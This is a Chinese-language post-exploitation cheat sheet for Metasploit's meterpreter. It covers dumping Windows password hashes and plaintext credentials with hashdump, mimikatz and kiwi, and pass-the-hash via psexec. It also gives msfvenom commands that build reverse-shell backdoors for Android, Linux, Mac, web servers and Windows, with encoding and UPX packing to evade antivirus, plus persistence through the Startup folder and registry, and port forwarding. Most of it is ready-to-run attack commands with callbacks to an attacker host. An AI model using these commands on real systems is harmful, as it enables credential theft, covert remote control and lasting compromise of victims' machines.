抓取用户密码

MSF 抓取自动登陆的用户名和密码

在 meterpreter 中执行

1
run windows/gather/credentials/windows_autologin

MSF 导出密码哈希

在 meterpreter 中执行以下命令

1
run hashdump
1
run windows/gather/smart_hashdump   # 该命令需要系统权限,如果当前用户是域管理员,则可以导出域内所有用户 hash

用户哈希的输出格式为

1
用户名:SID:LM哈希:NTLM哈希:::

获取到用户的哈希后,可以利用 psexec 模块进行哈希传递攻击

前提条件

  • 开启445端口 smb服务
  • 开启 admin$ 共享
1
2
3
4
5
6
7
8
9
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit

mimikatz 抓取用户密码

除了上面方法外,还可以通过上传 mimikatz 程序,然后执行获取明文密码

执行 mimikatz 必须 System 权限,并且在执行时,要根据当前的系统位数进行选择

在 meterpreter 中可以使用 getuid 查看当前会话权限,使用 sysinfo 查看系统位数

使用 upload /path/file 上传 mimikatz 程序

执行 mimikatz 以进入交互模式

1
execute -i -f mimikatz.exe

在 mimikatz 交互界面,使用以下命令抓取密码:

1
2
privilege::debug        # 提升权限
sekurlsa::logonpasswords

模块列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cls:清屏
standard:标准模块,基本命令
crypto:加密相关模块
sekurlsa:与证书相关的模块
kerberos:kerberos模块
privilege:提权相关模块
process:进程相关模块
serivce:服务相关模块
lsadump:LsaDump模块
ts:终端服务器模块
event:事件模块
misc:杂项模块
token:令牌操作模块
vault:Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi:DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight:BusyLight Module
sysenv:系统环境值模块
sid:安全标识符模块
iis:IIS XML配置模块
rpc:mimikatz的RPC控制
sr98:用于SR98设备和T5577目标的RF模块
rdm:RDM(830AL)器件的射频模块
acr:ACR模块
version:查看版本
exit:退出

如果要查看某个模块的参数,可以使用 [model_name]:: 查看

MSF 使用 kiwi 模块抓取密码

mimikatz 模块已经合并为 kiwi 模块,使用 kiwi 模块需要 system 权限,所以使用该模块之前需要将当前的 shell 提升为 system

利用其它手段先提权到 administrator 用户,然后 administrator 用户可以直接在 meterpreter 中使用命令 getsystem 提权到 system 权限

kiwi模块同时支持 32 位和 64 位的系统,但是该模块默认是加载 32 位的系统,所以如果目标主机是 64 位系统的话,直接默认加载该模块会导致很多功能无法使用

所以如果目标系统是 64 位的,则必须先查看系统进程列表,然后将 meterpreter 进程迁移到一个 64 位程序的进程中,才能加载 kiwi 并且查看系统明文。如果目标系统是 32 位的,则没有这个限制

在执行 sysinfo 确认目标系统是 64 位后,可以使用 ps 命令查看进程寻找 x64 的进程

然后使用下面命令进行迁移:

1
migrate [PID]

之后就可以加载 kiwi 模块了

1
2
load kiwi
helo kiwi

kiwi 的一些命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
creds_all:             #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #可以让我们使用 mimikatz 的全部功能,该命令后面接 mimikatz.exe 的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码

生成持续性后门

meterpreter 是基于内存 DLL 建立的连接,所以,只要目标主机关机连接就会断

所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机,我们就可以连接到该主机

建立持续性后门有两种方法,一种是通过 **启动项启动(persistence)**,一种是通过 服务启动(metsvc)

使用 Msfvenom 生成后门木马

参数列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
–p : 添加载荷 payload 。载荷这个东西比较多,这个软件就是根据对应的载荷 payload 生成对应平台下的后门
--lhost : VPS的地址
--lport : VPS的端口
-a : 选择架构 ×86、X64、X86_64
--platform : 选择平台,windows、Linux
-e : 使用编码进行免杀
-i : 编码次数
-b : 避免使用的字符,例如不使用 `\x00`
-f : 输出文件格式,如 exe、c、elf、macho、raw、asp、aspx
-o : 文件输出
-s : 生成 payload 最大长度
-c : 添加自己的 shellcode
-x|-k : 捆绑
-l : 查看所有 payload encoder nops
PrependMigrate = true PrependMigrateProc=svchost.exe : 使这个木马默认会迁移到 svchost.exe 进程

生成木马命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk
# Linux 32:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
# Linux 64:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPS地址 LPORT=8888 -f elf > test.elf
# Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
# PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
# ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp
# ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx
# JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp
# Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh
# Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
# Python:
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
# exe:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o test.exe #编码3

利用 upx 加壳

1
upx -9 test.exe -k -o test2.exe

启动项启动

将生成的木马放在 Windows 的启动目录中

1
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

这样,每次开机时,系统会自动运行这个木马

然后只要监听相应的端口就可以了

服务启动

运行命令

1
2
3
4
5
6
7
run persistence -X -i 5 -p 4444 -r 192.168.10.27  # 反弹时间间隔是5s 会自动连接192.168.274444端口,缺点是容易被杀毒软件查杀

-X # 在目标系统启动时运行后门。此选项将在 Windows 注册表中添加一个条目,使后门在系统启动时自动执行。
-i # 连接尝试的时间间隔
-p # lhost的监听端口
-r # remote 监听者 IP
-S # 在目标系统上以系统权限(SYSTEM)运行后门

然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

设置 Socks 代理

端口转发

portfwd 是 meterpreter 提供的一个基本的端口转发,可以反弹单个端口到本地,并且监听

1
2
portfwd add -l 3389 -r 192.168.11.13 -p 3389    
# 将 192.168.11.13 的 3389 端口转发到本地的 3389 端口上,这里的 192.168.11.13 是获取权限的主机的 ip 地址

然后只要访问本地的 3389 端口就可以连接目标主机的 3389 了

1
rdesktop 127.0.0.1:3389